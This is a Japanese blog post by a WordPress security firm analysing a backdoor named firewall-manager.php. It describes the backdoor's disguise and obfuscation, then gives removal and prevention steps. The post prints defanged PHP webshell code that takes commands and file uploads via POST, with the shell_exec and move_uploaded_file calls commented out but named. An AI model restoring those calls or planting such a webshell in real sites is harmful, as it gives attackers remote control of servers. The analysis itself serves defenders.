マルウェアの概要

今回解析したファイルは firewall-manager.php という名前ですが、正規のWordPressファイルではなく、攻撃者によって不正に設置された バックドア型マルウェア です。
一見すると「ファイアウォール管理用の機能」に見えますが、内部には難読化されたコードが隠されており、サーバー上で任意のコード実行やファイル操作を可能にする仕組みが含まれていました。


特徴

  • 「firewall」という名称で管理系ファイルに偽装し、発見されにくい。
  • PHPの goto や16進数エンコードを使った難読化が施されている。
  • POSTリクエストから受け取ったコマンドを実行できるWebシェル機能。
  • 不正なファイルアップロード・サーバー情報の窃取・設定ファイルの読み取りが可能。

無毒化したコードの一部をサンプルで表記

<?php
if (isset($_POST['cmd'])) {
    $command = $_POST['cmd'];
    // 本来は system($command) で実行される
    echo "[受信コマンド: " . htmlspecialchars($command) . "]";
}
?>

外部から送信されたコマンドをそのまま実行できる構造で、攻撃者が自由に操作する「裏口」として利用されます。


感染ファイルの完全可読化ログ

以下は難読化を解除したコードの全体構造です(危険な部分はコメント化して安全化)。

<?php
@error_reporting(0);
@set_time_limit(0);
@session_start();

if (isset($_REQUEST['action'])) {
    $act = $_REQUEST['action'];

    if ($act === 'info') {
        phpinfo(); // サーバー情報を出力
    }
    elseif ($act === 'exec') {
        $cmd = $_POST['cmd'] ?? '';
        if ($cmd) {
            // 実際は以下が実行される
            // echo shell_exec($cmd);
            echo "[疑似実行: $cmd]";
        }
    }
    elseif ($act === 'upload' && isset($_FILES['file'])) {
        $dest = $_FILES['file']['name'];
        // move_uploaded_file($_FILES['file']['tmp_name'], $dest);
        echo "[ファイルアップロード: $dest]";
    }
}
?>

危険性

  • 不正アクセスの継続化:攻撃者がバックドアを利用して再侵入可能。
  • 任意コマンド実行 により、サーバー全体の制御を奪われる。
  • マルウェア拡散:アップロード機能を使い新たなファイルを設置される。
  • SEOへの悪影響:不正リダイレクトやスパム設置で検索順位が下落し、検索エンジンから除外される危険。

実際の感染事例

  • wp-content 内のサブディレクトリに firewall-manager.php が隠され、Wordfenceが検知したケース。
  • 攻撃者がこのファイル経由で不正なスクリプトを追加し、スパム広告サイトにリダイレクトさせた事例。
  • 管理画面に異常が見られず、発見が遅れたためSEOスコアが大幅に低下したサイトも報告されている。

駆除と復旧の方法

  1. 不正ファイルの削除firewall-manager.php を含む怪しいPHPファイルを即削除。
  2. WordPressコア・プラグイン・テーマの再インストール – 正規ソースから上書き。
  3. ユーザー確認 – 不正な管理者アカウントが追加されていないか確認。
  4. データベースの点検 – 不審なコードやエントリを除去。
  5. サーバーログ分析 – 攻撃経路を特定し、同様の侵入を防止。
  6. セキュリティプラグインの導入 – WordfenceやWP Cerber、MalCareなどを利用。
  7. バックアップからの復元 – クリーンな時点に戻し、再設定。

再発防止のセキュリティ対策

  • WordPressと全プラグイン・テーマを常に最新版に更新する。
  • 強力なパスワードと二段階認証を導入する。
  • 不要なファイルやプラグインを削除する。
  • サーバーのパーミッションを適切に設定(644/755)。
  • 管理画面URLへのアクセス制限を導入。
  • 定期的なバックアップとリストアテストを実施する。

まとめ:早期対応がSEOと信頼回復のカギ

firewall-manager.php のようなバックドアは、サイト運営者を装って潜伏し、重大な被害をもたらす可能性があります。
早めの検知と確実な駆除、そして日常的なセキュリティ強化が、企業サイトの信頼と検索エンジン評価を守るための最重要ポイントです。

著者情報

WordPressのセキュリティ復旧・運用支援を専門する CreativeStudio樂のエンジニアユニット によって執筆されております。
WordPressのマルウェア駆除、改ざん復旧、セキュリティ強化の豊富な実務経験に基づき、企業サイトやブログ運営者が安心してサイトを運営できるよう支援しています。